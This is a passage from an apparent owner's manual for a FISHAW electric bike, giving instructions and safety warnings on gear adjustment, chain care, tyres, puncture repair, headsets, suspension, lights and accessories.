possible that your new FISHAW electric bike has a gear system that is not listed below. In the case of shifters pressing the target shifter (thumb shifter) moves the chain towards the larger chainwheels/sprockets. That means that any gear shift made by pressing the large thumb shifter on the right produces a lower gear. This is an indexed shifting system with the option of shifting several gears with one action. Operating the large thumb shifter on the left produces a higher gear. Pulling the small lever located in front of the handlebars from the rider’s viewpoint and actuated with the index finger (index finger lever) shifts the chain towards the smaller chainwheels/sprockets, i.e., on the right side to the higher gears and on the left side to the tower gears. ⚠️ Make yourself familiar with your new gears in an area free of traffic. ⚠️ Shifting gears under load, i.e., while pedalling hard, can make the chain slip. At the very least the service life of the chain will be reduced considerably. ⚠️ If there is movement between bearing spindle and cranks, they can sustain damage. Risk of breakage! ⚠️ Avoid gears which involve an extremely oblique run of the chain as this will increase wear! ⚠️ It is crucial when switching gears to continue pedalling smoothly and without too much force. Do not shift under load. **CHECKING AND READJUSTING** The derailleur gears of your bike were carefully adjusted by your FISHAW manufacturer before delivery. However, Bowden cables may stretch a little over the first few kilometres, making gear shifting imprecise and the chain rattle. ⚠️ Adjusting the rear derailleur accurately is a job only for an experienced mechanic! ⚠️ For your own safety, take your FISHAW electric bike to your bicycle mechanic for its first inspection after 100 to 300 kilometres, 5 to 15 hours of initial use or four to six weeks, and at the very latest after three months. Important Safety Information **WARNING** - Do not disassemble or modify the product. This may cause the product to not operate correctly, and you may suddenly fall and be seriously injured. - Never use alkali based or acid-based solvents, such as rust cleaners. If those solvents are used the chain might break and cause serious injury. - Clean the chain with an appropriate chain cleaner regularly. Intervals between maintenance depend on the use and riding circumstances. - Check the chain for any damage (deformation or cracking), skipping, or other abnormalities such as unintended gear shifting. If any problems are found, consult your local bicycle mechanic or FISHAW representative. The chain may break, and you may fall. - If gear shifting operations cannot be carried out smoothly, clean the shifting unit and lubricate all moving parts. - The gears should be periodically washed with a neutral detergent. In addition, cleaning the chain with neutral detergent and lubricating it can be an effective way of extending the life of the gears and the chain. - Products are not guaranteed against natural wear and deterioration from normal use and aging. - For maximum performance we highly recommend Shimano lubricants and maintenance products. Regular Inspections Before Riding the Bicycle Before riding the bicycle, check the following items. If any problems are found, consult your local bicycle mechanic or FISHAW. - Is gear shifting carried out smoothly? - Has excess play increased in the links? - Has excess play increased in the pulleys? - Are there any abnormal noises coming from the derailleur? - Is there any noticeable damage on the chain? ADJUSTING THE REAR DERAILLEUR Increase the tension of the Bowden cable by turning the adjustable cable stop at the shifter lever or the adjusting bolt through which it runs into the rear derailleur. To do so, shift to the smallest sprocket and turn the bolts counter clockwise in half turns until the cable is slightly tensioned. After tensioning the Bowden cable check whether the chain immediately climbs onto the next larger sprocket. To find out you either must turn the cranks by hand — or ride your FISHAW electric bike and shift through the gears. If the chain easily climbs onto the next larger sprocket, check whether it just as easily shifts to the small sprockets. If it does not, release the respective adjusting bolt a little. You may need several tries. Observe the operating instructions of the gear manufacturer on their respective websites. If you have any problems with the gears, contact your bicycle mechanic. ⚠️ Ask a helper to lift the rear wheel. By turning the cranks and shifting through you can easily check the function. ADJUSTING THE LIMIT STOPS The rear derailleur is equipped with limit screws which limit the movement range of the derailleur, thus preventing the derailleur and chain from colliding with the spokes or the chain from dropping off the smallest sprocket. The limit screws are adjusted by your FISHAW manufacturer. They do not alter their position during normal use. If necessary, correct the position by means of the limit screws. The limit screws on rear derailleurs are often marked "H" for high gear and "L" for low gear. "High gear" means that the chain is running on the smallest sprocket. Turn the screw clockwise to shift the rear derailleur towards the wheel and counter clockwise to shift it away from the wheel. Shift to the biggest (inmost) sprocket and check whether the teeth of the sprocket and the teeth of the guide pulley are all in a perfectly vertical line. Turn the limit screw marked "L" clockwise until the rear derailleur stops moving towards the spokes and can neither be moved by operating the shift lever nor by pushing it with your hand. This adjustment prevents the chain from getting stuck between sprocket and spokes or the rear derailleur or the derailleur cage from touching the spokes, which could result in damage to the spokes, the rear derailleur, and the frame. In the worst case, it could be impossible to continue cycling. How to Adjust a Rear Derailleur https://www.youtube.com/watch?v=UkZxP1Z1ngY&ab_channel=ParkTool ⚠️ If your FISHAW electric bike has tipped over or the rear derailleur received a blow, the rear derailleur, or its mount, also referred to as the derailleur hanger, might be bent. It is advisable to check its range of movement and readjust the limit screws, if necessary, after such an incident or after mounting a new rear wheel on your bike. Be sure to do a test ride in an unfrequented place after adjusting the gears. ⚠️ Let your bicycle mechanic maintain and service your FISHAW electric bike regularly. ⚠️ Always make sure changing gears makes as little noise as possible and is smooth and not jerky! ⚠️ Make yourself familiar with the operation of your gears in a place free of traffic and practice operating the shifters or the twist grips as well as the brake system, before using your bike on public roads. Removing and mounting the wheels is not the same as with derailleur gears. With this fact in mind read the chapter “Tyre Puncture” and observe the operating instructions of the manufacturer on their respective websites. **CHECKING, READJUSTING AND SERVICING** Multi-speed hubs require only little maintenance and need not be adjusted very often. Check the chain tension, in particular when removing and mounting wheels, and read the chapter “Chain - Care and Wear”. If the indexed gear change does not work trouble-free, then contact your bicycle mechanic. **ADJUSTING MULTI-SPEED HUBS** Shift into the fourth (4th) gear. Look from above at the right-hand side of the hub. There you can see two yellow markings. These two markings must be at the same height, i.e., they must produce a line. Turn the adjusting screw at the shifter until you get just one single line. ⚠️ Regularly check the reliable fit of the bolted connection of the hub and, if necessary, of the torque arm at the frame. Shimano recommends for example regular maintenance every 5,000 km or every two years. Read the operating instructions of the gear manufacturer Shimano or contact FISHAW. Observe the operating instructions of the gear manufacturer, Shimano. ⚠️ If you are in doubt or if you have any questions, contact your qualified bicycle mechanic. **CHAIN — CARE and MAINTENANCE** Regular and correct lubrication of your bike’s chain makes for enjoyable riding and prolongs its service life. It is not the quantity, but the distribution and regular application of lubricant that counts. Clean the dirt and oil off your chain with a slightly oily rag from time to time. ⚠️ Special degreasers are not necessary; they even have a damaging effect. Having cleaned the chain as thoroughly as possible, apply chain oil, wax, or grease to the chain links. To lubricate the chain, drip the lubricant onto the rollers of the lower run of the chain while you turn the crank. Once this is done, turn the crank a few more times; then let your FISHAW electric bike rest for a few minutes so that the lubricant can disperse. Finally wipe off excess lubricant with a rag so that it does not spatter around during riding or can collect road dirt. ⚠️ Make sure the braking surfaces of the rims, the rotors and the brake pads remain clear of lubricants, as the brakes will fail otherwise! For the sake of the environment, only use biodegradable lubricants. Bear in mind that some of the lubricant can end up on the ground, especially in wet conditions. **CHAIN MAINTENANCE** The chain is one of the wearing components of your FISHAW electric bike and will need replacement at the end of its life. To prolong its life: Make sure the chain is lubricated regularly, especially after riding in the rain. Try to only use gears which run the chain in the straightest line between the sprockets and chainwheels and get in the habit of high cadence pedalling. ⚠️ Heavily stretched chains impair the operation of derailleur gears. Cycling with a worn-out chain also accelerates the wear of the sprockets and chainwheels. Replacing these components is relatively inexpensive compared with the costs of a new chain. It is therefore advisable to check the condition of the chain at regular intervals. When to Replace a Chain on a Bicycle https://www.youtube.com/watch?v=gXd-3UnqoaM&list=RDCMUCzaZ1sPWEuZN-l8_XT6AH8g&index=4&ab_channel=ParkTool Your bicycle mechanic has accurate measuring instruments for checking the chain wear. Replacing the chain should ideally be left to an expert, as this requires special tools. In addition, you need to select a chain matching your gear system. ⚠️ An improperly riveted or heavily worn chain can break and throw you off your bike. When replacing your chain, only use appropriate and suitable original spare parts. Your FISHAW customer service representative or bicycle mechanic will be pleased to help you. WHEELS AND TYRES The wheel consists of the hub, the spokes, and the rim. The tyre is mounted onto the rim so that it encases the tube in the case of the most common system, i.e., the clincher or folding tyres. There is a rim tape running around the rim wall to protect the sensitive tube against the edges of the rim trough, which are often sharp. The wheels are subjected to considerable stress through the weight of the rider and any carried baggage as well as through bumpy road surfaces and terrain. Although wheels are manufactured with great care and delivered accurately trued, spokes and nipples can lose a little tension on the first few kilometres. ⚠️ Ask your bicycle mechanic to check and true up the wheels after you have bedded them in over about 100 to 300 kilometres or 5 to 15 hours of use. After the bedding-in period, check the wheels regularly. It will, however, rarely be necessary to tighten the spokes. ⚠️ Truing (retruing) wheels is a difficult job which you should leave to your bicycle mechanic. TYRES, INNER TUBES, RIM TAPE, INFLATION PRESSURE The tyres should provide grip and traction. At the same time, they should run smoothly and enhance the rider's comfort by absorbing small shocks. Both the rolling friction and the grip depend on the nature of the tyre carcass, the rubber compound, and the tyre tread. Your bicycle mechanic would be glad to help you choose from the numerous types of tyres. If you want to mount a new tyre, you need to know the sizing system and the actual size of the old tyre. The latter is specified in two different units on the side of the tyre. One of the sizes is the standardised size in millimetres which is more precise, e.g., the number sequence 40-622 means that the tyre is 40 mm in width when fully inflated and has an inner tyre diameter of 622 millimetres. The other size is indicated in inches (e.g., 28x1.5"). The tyres must be inflated to the proper inflation pressure to provide an optimal compromise between smooth running and riding comfort. Properly inflated tyres are also more resistant to punctures. An insufficiently inflated tyre can easily get pinched ("snakebite") when it goes over a sharp kerb. The air pressure recommended by the manufacturer is given on the tyre side or on the tyre label. The lower of the two pressure specifications makes for better cushioning for lightweight riders and is therefore best for cycling on a rough surface. Rolling resistance on level ground decreases with growing pressure, but so does comfort. Highly inflated tyres are therefore most suitable for heavy riders and for riding on tarred roads. Therefore, adjust the pressure to your weight and your riding habits. Inflation pressure is often given in the old system of units, i.e., in psi (pounds per square inch). Clincher and folding tyres and rims alone are not able to hold the air. Therefore, an inner tube must be placed inside the tyre to retain the air pressure. The rims of clincher and folding tyres require, in general, a high-value rim tape. This rim tape protects the inner tube from the braking heat which could make the tyre burst. Replace tyres with a worn tread or with brittle or frayed sides. Dampness and dirt penetrating the tyre can cause damage to its inner structure. The tube might burst. Risk of an accident! If you mount a new tyre with another size than the standard tyre mounted, it might be possible that the clearance between the front of your shoe and the wheel will be reduced when you ride at reduced speed. Risk of an accident! Treat your tyres with care. Always ride your bike with the prescribed tyre pressure and check the pressure at regular intervals, at least once a week. Riding with too low or too high air pressure may make the tyre come off the rim or burst. Clincher and folding tyres allowing an inflation pressure of five bars or more have to be mounted on hook bead rims, identifiable by the designation "C". Observe the maximum pressure value of the rim. The pressure is dependent on the tyre width. You can find the values in the operating instructions of the rim or wheel manufacturer on their respective websites. Please note that an electric bike weighs more and that your usual tyre pressure may be insufficient. A higher pressure gives a better riding stability and reduces the risk of a puncture. The minimum and maximum pressure (in bar or PSI) is indicated on the tyre side. **VALVES** There are two valve types generally used on almost all types of city and trekking bikes: 1. **Presta valve;** This valve is nowadays used on almost all types of road bikes. 2. **Schrader valve;** This is an adapted car tyre valve and is used on mountain bike and e-bike tyres. All valve types come with a plastic cap to protect them from dirt. Your FiSHAW E-Bike tyres have Schrader Valves. The Schrader valves can be inflated with a suitable pump directly after removing the protective cap. Tyres with Schrader valves can conveniently be inflated at car filling stations with a compressed air dispenser. A compressed air dispenser must be used very carefully in short bursts as you may otherwise overinflate the tyre and make it burst. To let out air, press the needle in the centre of the Schrader valve. It can be hard to inflate tyres to the necessary pressure by using hand pumps. It is much easier with a track pump equipped with a pressure gauge. RIM TRUENESS AND SPOKE TENSION For the true running of the wheel, it is imperative that the tension exerted by the spokes is distributed evenly around the rim. If the tension of a single spoke changes, e.g., because of riding fast over a kerb or from a loose nipple, the tensile forces acting on the rim become unbalanced, and the wheel will no longer run true. The functioning of your FiSHAW electric bike may even be impaired before you notice the wobbling appearance of a wheel that has gone out of true. It is therefore advisable to check the wheels for trueness from time to time. For this purpose, lift the wheel off the ground and spin it with your hand. Watch the gap between the rim and the brake pads. If the gap varies by a millimetre or more, you should ask your bicycle mechanic to true up the wheel. Do not ride with untrue wheels. An untrue wheel can impair your braking ability. Loose spokes must be tightened at once. Otherwise, the load on the other spokes and the rim will increase. Truing (retruing) wheels is a difficult job which you should leave to your bicycle mechanic. TYRE PUNCTURE Flat tyres are the most common cause of puncture during cycling. If you have the necessary tools and a spare tube or a repair kit, this need not mean the end of your ride. If your wheels are attached with quick-releases to the frame and the fork, you only need two tyre levers and a pump. Before removing a wheel, read the chapters, “Mounting Wheels” and “How to use the Quick-Releases”. If you are in doubt or if you have any questions, contact your bicycle mechanic. DISMOUNTING WHEELS Your FiSHAW electric bike has disc brakes (hydraulic or mechanical). Check the position of the brake pads through the inspection window. In this way you will be able to tell later whether the brake pad is still in its proper position. Read the operating instructions of the brake manufacturer on their respective websites. If you have derailleur gears; you should shift the chain to the smallest sprocket before removing the rear wheel. This shifts the rear derailleur right to the outside where it does not interfere with the removal of the wheel. Open the quick-release of the wheel, as described in the chapter “How to use the quick-releases”. If you cannot remove the front wheel after releasing the lever, this is due to the drop-out safety tabs. They come as metal catches which engage with recesses in the dropouts. Just release the quick-release adjusting nut a little and slip the wheel past the tabs. You will find it easier to remove the rear wheel when you pull the rear derailleur slightly backwards. Lift your FISHAW electric bike a little off the ground and give the wheel a light blow with your hand so that it drops out. ⚠️ Rotors can become hot, so let them cool down before removing a wheel! ⚠️ If you purchased a FISHAW bike with hydraulic disc brakes, never turn your FISHAW bike upside down for repair work, i.e., with the handlebars and saddle underneath, as the brakes will fail otherwise. ⚠️ Never pull the (disc) brake lever while a wheel is removed and always make sure that you fit the safety locks before removing the wheel. ⚠️ Observe the instructions of the brake and gear manufacturers; found on their respective websites. https://www.tektro.com/support-video.php https://si.shimano.com/api/publish/storage/pdf/en/dm/GN0001/DM-GN0001-24-ENG.pdf DISMOUNTING TYRES Remove the cap and the fastening nut off the valve and deflate the tyre completely. Press both tyre sides from the rim side towards the centre of the rim. This will ease the removal. Apply a plastic tyre lever to one bead of the tyre about 5 cm beside the valve and lever the tyre out of the rim in this area. Hold the tyre lever fast in its position. Slip the second tyre lever between rim and tyre at a distance of about 10 cm on the other side of the valve and lever the next portion of the bead there over the edge of the rim. After levering a part of the tyre bead over the edge of the rim you should normally be able to slip off the whole tyre on one side by moving the tyre lever around the whole circumference. Now you can remove the inner tube. Make sure the valve does not get caught in the rim, as this can damage the inner tube. If necessary, you can remove the whole tyre by pulling the other tyre bead off the rim. Repair the puncture according to the instructions of the repair kit manufacturer or replace the inner tube. ⚠️ When you have removed the tyre, you should also check the rim tape. It should lie squarely in the rim trough, covering all spoke nipples, and should neither be damaged nor brittle. In the case of double wall rims the tape must cover the entire rim base, but it should not be so broad as to stand up along the inside edges of the rim trough. Rim tapes for this type of rim should only be made of fabric or durable plastic. If you are in doubt or if you have any questions, contact your bicycle mechanic. If the fabric of the tyre is destroyed by the perforating object, replace the tyre to be on the safe side. Replace spoilt rim tapes immediately. If you get a puncture on route, inflate the inner tube, and bring it close to your ear. In most cases you can hear the air coming out. At home you can use a bucket of water, where you can locate the hole by the bubbles. When you have found the hole, look for the corresponding place on the tyre and check it, as well. Often you will find the foreign body sticking in the tyre. Otherwise, another puncture can occur. **MOUNTING TYRES** When mounting a tyre make sure that no foreign matter such as dirt or sand gets inside the tyre and that you do not damage the inner tube in the process. Slip one bead of the tyre onto the rim. Using your thumbs, press the bead over the edge of the rim and then around the entire circumference. This should normally be possible without using tools. Stick the valve of the inner tube through the hole in the rim. Inflate the inner tube slightly so that it becomes round and push it into the tyre all the way round. Make sure, not to leave any folds in the inner tube. To finish mounting the tyre, start at the opposite side of the valve. Using your thumbs, press as much of the second bead of the tyre over the edge of the rim as you can. Make sure the inner tube does not get pinched and squashed between the tyre and the rim. You can prevent this by pushing the inner tube into the hollow of the tyre with a finger as you work along. Work the tyre into the rim by approaching the valve symmetrically from both sides. Towards the end, you will have to pull the tyre vigorously downwards to make the already mounted portion of the tyre slip towards the deepest part of the rim well. This will ease the job noticeably on the last centimetres. Before fitting the tyre completely on the rim check again whether the inner tube lies properly inside the tyre and press the last stretch of tyre over the edge of the rim using the balls of your thumbs. If this does not work; you will have to use the tyre levers. Make sure that the bent ends point towards the inner tube and that the inner tube does not get damaged. Push the valve subsequently a little into the tyre so that the inner tube does not get caught between the rim and the tyre beads. Check whether the valve stands upright. If not, dismount one bead again and reposition the inner tube. To make sure the inner tube does not get pinched between the rim and the tyre beads, move it sideways back and forth between the sides of the rim. While doing so, also check whether the rim tape has shifted. Inflate the tube to the desired pressure. The maximum pressure is indicated on the side of the tyre. Check whether the tyre is properly seated by inspecting the fine witness line? on the tyre just above the rim edge. This line should be even to the rim all around the tyre. If it is not, deflate the tyre a little and check again. Starting from the maximum tyre pressure you can now reduce the pressure through the valve to suit your needs. Please observe the recommended tyre pressure range. **MOUNTING WHEELS** To mount a wheel, follow the reverse procedure of wheel dismounting. Make sure the wheel is correctly seated in the dropouts and accurately centred between the fork legs or the rear and chain stays. Make sure that the quick-release and the drop-out catches are correctly seated. For more information see the chapter “How to use the quick-releases”. If you have disc brakes, check before mounting the wheel whether the brake pads rest snugly in their seats in the brake calliper body. The gaps between the brake pads and the wheel should be parallel and the wear indicators in their correct position. Make sure that you push the brake disk between the brake pads. After mounting the wheel and tightening the quick-release, pull the brake lever (several times, if you have disc brakes). If your bike has a multi-speed hub, verify the proper assembly of the individual component, and tension the chain before tightening the wheel nuts by pulling the wheel backwards. **HEADSET** The headset connects the fork to the frame but allows it to move freely. It must afford virtually no resistance to moving, if your FISHAW electric bike is to go straight, stabilizing itself as it runs. The shocks caused by uneven road surfaces expose the headset to considerable levels of stress. In this way it can become loose and maladjusted. **CHECKING AND READJUSTING** Check the headset for movement by placing your fingers around the upper head tube race. Bring your weight to bear on the saddle, pull the front brakes with your other hand and push the FISHAW electric bike firmly back and forth with the wheel remaining on the ground. If the bearing has movement, you will feel the upper head tube race moving in jerks relative to the lower head tube race - visible as a small gap in between the head tube races. **WARNING!** Riding the bike with a loose headset greatly increases the stress on the fork and the bearings. This can lead to damage to the fork. Risk of an accident! **WARNING!** Verify that the amount of movement midway between sprockets and chainwheel is not more than two centimetres. Make sure there is no excessive chain slack! To check the bearing for ease of running, lift the frame until the front wheel is suspended in the air. The handlebars should turn from far left to far right without feeling roughness or tightness at any point. With a gentle tap on the handlebars the fork should turn easily from the middle position. If you face any problems during the test, contact your bicycle mechanic. Adjusting the headset requires a certain amount of experience and should therefore be left to your bicycle mechanic. **THREADLESS HEADSETS —- AHEADSET®** This headset system is characterized by the fact that the stem is not in the fork steerer tube but clamps it from outside. Hence the stem is an important constituent part of the headset, clamping it therefore also sets the adjustment. You generally only need one or two Allen keys and a torque wrench to adjust an Aheadset®. Release the clamping bolt(s) located on the side of the stem by one to two turns. Gently tighten the counter sunk adjusting bolt on top a little, e.g., by a quarter turn, by using an Allen key. Align the stem so that the handlebars are not slanted. Make sure the front wheel is in line with the top tube and the stem. Tighten up the stem clamping screws. Use a torque wrench and never exceed the maximum torque values! You will find the prescribed values, directly on the components and/or in the operating instructions of the component manufacturers on their respective websites. Check the headset for play as described above. Take care not to tighten the bearing too much, as this could easily destroy it. Bear in mind that by overtightening the bolts the stem can crush the steerer tube. Check the secure seat of the stem by taking the front wheel between your legs and trying to turn the handlebars and stem relative to the wheel. A loose stem can cause bad accidents. Never change the preloading mechanism in the inside of the fork steerer tube. There can be several reasons why the bearings cannot be adjusted. If you are not absolutely sure, ask your bicycle mechanic for help. Do not overtighten the upper bolt, it only serves to adjust the headset play. **SUSPENSION** **GLOSSARY:** **SUSPENSION FORK** Bicycle forks absorb and dampen shocks through moving components. The most common among these forks are the telescopic suspension forks. What is designated as stanchion tubes are the thinner tubes press... fitted or screwed to the fork crown of a telescopic fork. What is designated as lower leg are the lower tubes in which the stanchion tubes slide in. NEGATIVE SUSPENSION TRAVEL (“SAG”) The suspension travel that is taken up by the rear structure or the fork when the rider takes up his or her usual riding position at a standstill. This is usually specified as a percentage of the overall suspension travel. LOCKOUT In most cases a lever on the suspension element or the handlebars. A device to block the fork or the rear shock so that the suspension element does not cause bob when riding on tarred roads or smooth surfaces. Not to be used off road. REAR SHOCK The rear shock is the element combining the spring as well as the damping in the rear frame of a full suspension bike. Often the rear shock is also designated as a shock absorber. SPRING RATE OR HARDNESS The force that is required to compress the spring by a certain suspension travel - measured in Newton per millimetre (N/mm) or pound per inch (lbs/in). A higher spring rate means a higher force requirement per unit of travel. In air spring elements this corresponds to a higher pressure. SPRING PRELOAD In the case of the widespread air spring systems, the air pressure in the fork is crucial for the spring rate and the spring preload. Observe the recommendations of the manufacturers. Within a certain range a preload can be applied to the coil springs. Then the suspension only reacts when a greater load is applied. However, the spring rates are not changed as a result. Heavy riders cannot compensate a too low spring rate with a higher preload. SUSPENSION FORKS FiSHAW city/trekking electric bikes are equipped with suspension forks. This feature gives you better control of your bike when riding cross-country or on rough road surfaces and ensures more ground contact for the tyre. It noticeably reduces the strain on you and your bike caused by the mechanical shocks from the terrain. Suspension forks differ in their types of spring elements and damping. Suspension forks normally work with air spring elements or with coil springs. Damping is usually done by oil. Suspension fork manufacturers normally include instructions for their products on their respective websites. Read them carefully before changing any settings or doing any maintenance work on your suspension fork. You can find the instruction of the suspension fork manufacturers on their respective websites. Note in general that the suspension fork must give in a little even when you are just sitting on the bike; this is the so-called negative suspension travel or sag. If you ride over a pothole the spring is decompressed and the suspension fork compensates for the unevenness. If the air pressure or the spring preload is too high, this effect is lost because the suspension fork is already fully extended. This means that an important comfort and safety factor is lost if the tyre briefly loses contact with the ground. The suspension fork should yield by 10-25% of the maximum suspension travel. To measure the travel, you can use the rubber ring mainly located on the thinner, plunging tube of the suspension fork. If there is no rubber ring, tie up a cable tie around one of the stanchion tubes. Make sure it is not too tight, you should still be able to move it, it should however not slip by itself. Put on your usual riding clothing (including if necessary, a packed backpack), sit on your bike and bring yourself into the usual riding position. Lean against a fixed object (railings, wall etc.) and make sure you do not fall over. Ask a helper to move the rubber ring or the cable tie downwards against the dust seal at the lower leg. Get off your bike so that the fork does not compress anymore. The distance between the rubber ring/cable tie and the wiper is the negative suspension travel, or sag. Compare it against the total suspension travel (as specified by the manufacturer) to determine whether the suspension should be set to be harder or softer. With air suspension forks the spring rate is set by the air pressure in the fork. The pressure must be set before the first ride by means of a special high-pressure pump with pressure gauge and modified later as required due to changes in the weight of the rider and/or load. ⚠️ Note the appropriate setting values and check them subsequently at regular intervals. Always follow the recommendations of the manufacturer and never exceed the maximum air pressure for the suspension fork. Always take a test ride after each change to the settings. In the case of most suspension forks with coil springs a preload can be applied to the springs within tight limits by turning a knob at the top of the fork crown. If that is not possible and the desired negative suspension travel ("sag") cannot be set, the coil springs must be replaced by harder or softer models. The replacement is a job for your bicycle mechanic. When replacing any parts, be sure to only use parts that bear the appropriate mark and, to be on the safe side, original spare parts. Your FISHAW customer service representative or your bicycle mechanic will be pleased to help you. ⚠️ Always take a test ride over terrain with various surfaces after each change to the settings. Check afterwards the position of the rubber ring/cable tie. Its distance from the wiper is the maximum suspension travel that you have used. If the rubber ring/cable tie has moved by even a few millimetres, the setting of the forks is too hard. Reduce the pressure, or, in the case of coil springs, the spring preload. If that brings no improvement, have the springs replaced. If the rubber ring/cable tie has shifted over the entire length of the tube or if the fork audibly bottoms out and hits the top repeatedly when riding off-road or on bad roads, the setting of the springs is too soft. In the case of air-suspension forks the pressure must be increased. In the case of steel coils, have them replaced by your bicycle mechanic. Suspension forks are designed in a way to absorb shocks. If the fork is too rigid and jammed, the terrain-induced shocks pass directly into the frame without any damping. The frame is not designed to withstand such undamped stresses. ⚠️ If your suspension has a lockout mechanism, do not activate the lockout function when riding in rough terrain, but only when riding over smooth terrain (roads, field tracks). ⚠️ The suspension fork should be set up and adjusted in a way that it does not reach the end of its travel, i.e., bottoms out, unless in extreme cases. A spring rate which is too soft (too low air pressure) can usually be heard or felt as a "clunk" type noise. This noise is caused by the sudden complete compression of the suspension fork as it reaches bottom out. If the suspension fork frequently reaches bottom out, it will fail over time, and so will the frame. ⚠️ Do not turn any screws by using tools in the vague hope of adjusting them somehow. You could be loosening the fastening mechanism, thus provoking an accident. Normally, the adjustment devices are operated with the fingers and are marked by all manufacturers with a scale or with "+" (for stronger damping/harder suspension) and "-" signs. ⚠️ When mounting a new front tyre, make sure there is enough clearance between tyre and fork crown as the fork compresses. entirely. If necessary, deflate the suspension fork completely and press the handlebars forcefully downward to check this. This can block the front wheel. Risk of an accident! ⚠️ Do not ride your bike when the suspension fork bottoms out. This could damage the suspension fork itself as well as the frame. The spring rate should always be adjusted to the weight of the rider and the baggage as well as to the riding conditions. LOCKOUT When taking long uphill rides involving hard pedalling out of the saddle, a suspension fork is typically bobbing. It is advisable to lock the damping if the suspension fork has a lockout mechanism. For downhill rides on uneven ground the lockout mechanism must be open. ⚠️ DO NOT ACTIVATE the lockout function when riding over rough terrain, but only when riding over smooth terrain (such as roads or field tracks). MAINTENANCE Suspension forks are components of sophisticated design that require regular maintenance and care. You should have your forks thoroughly checked and overhauled at regular intervals according to use, e.g., once a year. The following routines are essential for maintenance: 1. Make sure the sliding surfaces of the stanchion tubes and the wiper rings are absolutely clean. 2. Clean the suspension fork, if it is soiled, directly after the ride with water and a soft sponge. 3. After washing your bike, spray the stanchion tubes of the suspension fork with a little grease spray or apply a very thin film of hydraulic oil. Compress the fork several times and wipe off excess lubricant with a clean rag before you set off for your next ride. 4. Do not use a steam jet or aggressive cleaning agents for cleaning! Ask your FISHAW customer service representative for an appropriate cleaning agent. 5. If your suspension fork has coil springs, you should regularly have the springs cleaned and lubricated with a non-corrosive resin-free grease. Some fork manufacturers supply special greases for fork maintenance. Strictly observe the recommendations of the manufacturers. 6. Suspension forks with air springs must be checked regularly for air pressure since the air escapes over time. ⚠️ Suspension elements are of sophisticated design. The maintenance routines and all of the above disassembly of the suspension elements are jobs best left to your bicycle mechanic. ⚠️ Suspension forks are constantly being sprayed with water and dirt from the front wheel. Clean them after every ride. ⚠️ Be sure to have your suspension fork checked by a qualified bicycle mechanic once a year. REAR SHOCK To set the pressure in the main cylinder (valve marked "MP"), use a compatible shock pump. Remove the valve cap and attach the shock pump according to the pump manufacturers specifications. Recommended air pressure for the main cylinder is 100-150 psi. **WARNING** Exa Form Rear Shocks must be regularly maintained by a qualified bicycle mechanic. Do not disassemble your rear shock. Disassembly could cause damage and severe personally injury as some of the contents are under pressure. Failure to follow these warnings and instructions will immediately void your warranty. **DO NOT EXCEED 180 psi.** **MAINTENANCE** Your Exa Form Rear Shock requires periodic service to maintain consistent function. This service should be done at the same interval as a drivetrain cleaning. Please see your local bicycle mechanic to perform this service. **Lubrication:** It is recommended that the main shaft be lubricated every 25-30 hours of use or after a long period of non-use. **Cleaning:** Use only warm water and a lint-free soft cloth to wipe down. The use of solvents, degreasers, waxes, and other chemicals may damage the shock and void the warranty. **ATTENTION** This is a high-performance product. It will give you reliable service if it is installed properly and regularly maintained. Please read through these instructions fully and follow them carefully. LIGHTS When riding on public roads a properly functioning lighting set is a legal requirement. You should be familiar with the assembly of the lighting set so that you can repair possible failures yourself. The rear light and the front lamp are powered by the battery. They are connected with two cables, each to the battery. **REAR LIGHT** Either bulbs or LEDs beam through a (red) diffusion disc rearwards and are visible at best even from the side. The MTB models rear light must be switched on manually with the switch on the rear light. FRONT LAMP Front lamps are either bulbs, halogen lamps or one or several LEDs, i.e., light emitting diodes, beaming white light by means of a reflector and/or a diffusion disc on the road lane. Our mid-drive models are fitted with a sensor that automatically switches on the front lamp when it gets dark. In addition to a cycling helmet and suitable clothing, cycling glasses are absolutely essential when you are riding your FISHAW electric bike. They not only protect your eyes from the sun and the wind, but also keep out flies and other impurities that may impede your vision when they fly into your eyes. Risk of an accident! An incomplete or inoperative lighting set is not only against the law, but also a hazard to your life. Cyclists riding in the dark without a light are liable to be overlooked and at risk of getting involved in serious accidents! Things Worth Knowing About Your FISHAW Electric Bike Cycling helmets are LEGALLY REQUIRED Verify that your helmet meets the Trade Practices (Consumer Product Safety Standards) Regulations 2001—Bicycle Helmets sets out the mandatory requirements for bicycle helmets. This mandatory standard is based on certain sections of the voluntary Australian and New Zealand Standard, AS/NZS 2063:2008—Bicycle helmets. AS/NZA 2063:2008 is available from SAI Global. Cycling helmets are only approved for use during cycling. Observe the manufacturer's instructions. But remember that even the safest helmet is useless unless it fits properly and is correctly adjusted and fastened! Never ride without a helmet. Good cycling glasses must fit closely against your face so that the wind does not get into your eyes from the side. There are a great many different models, for example, without tinting and UV protection, which can be worn at night or in twilight conditions, or glasses with a high level of UV protection that you should wear if the sun is stronger. Ask FISHAW for advice before mounting any kind of accessories to your bike. Retrofitted accessories, such as mudguards, pannier racks etc. can impair the functioning of your FISHAW bike. Before buying any additional bells or lighting accessories, inform yourself thoroughly whether they are permitted and tested and accordingly approved for use on public roads. Bicycle Locks Do not forget to take a high-quality ant-theft lock with you on your ride. The only way to effectively protect your FISHAW bike against theft is to lock it to an immovable object. Puncture Kit The most important accessories for a successful cycle tour are a tyre pump and a small tool kit. The tool kit should include two plastic tyre levers, the most used Allen keys, a spare tube, a tyre repair kit, your mobile phone, if necessary, and a little cash. In this way you will be well prepared in the event of a puncture or an accident. **Kickstand** Bike kickstands are intended to prevent your bike from falling over when it is parked. The kickstand has been chosen according to the kind of use that it will get. **Mudguards/Wheel Protectors** If you want to mount mudguards on your FISHAW bike, ask your FISHAW dealer for advice. There are removable mudguards, also referred to as clip-on mudguards, as well as firmly attached models that provide more protection. Retrofittable mudguards for a fix fastening are usually made of plastics and are secured in the correct position by means of additional stays. The length of the stay is perfect when the bottom edge of the mudguard runs at an approx. distance of 15 mm in parallel to the tyre. ⚠️ For safety reasons the front wheel stays must have security fastenings. They prevent the tyre from being blocked by impurities taken up by the front wheel from the ground. In this case the security fastening frees the stay and hereby prevents a possible accident. The plug connection can easily be refastened. Damaged mudguards should be replaced in any case. Risk of an accident! **Transporting Baggage** There are various ways of carrying baggage on your FISHAW electric bike. Your choice will primarily depend on the weight and volume of the baggage and on the e-bike model you are using. Using a backpack is a convenient way of transporting baggage on a bike. However, your FISHAW bike is fitted with a rear (pannier) rack — for longer cycling tours or if you intend to take heavy and bulky items with you. It is advisable to carry baggage in stable pannier bags with a very low centre of gravity. Another possibility of transporting baggage are handlebar bags. They often have snap buckles for quick mounting and removal. Handlebar bags are particularly suitable for valuables, photographic equipment and 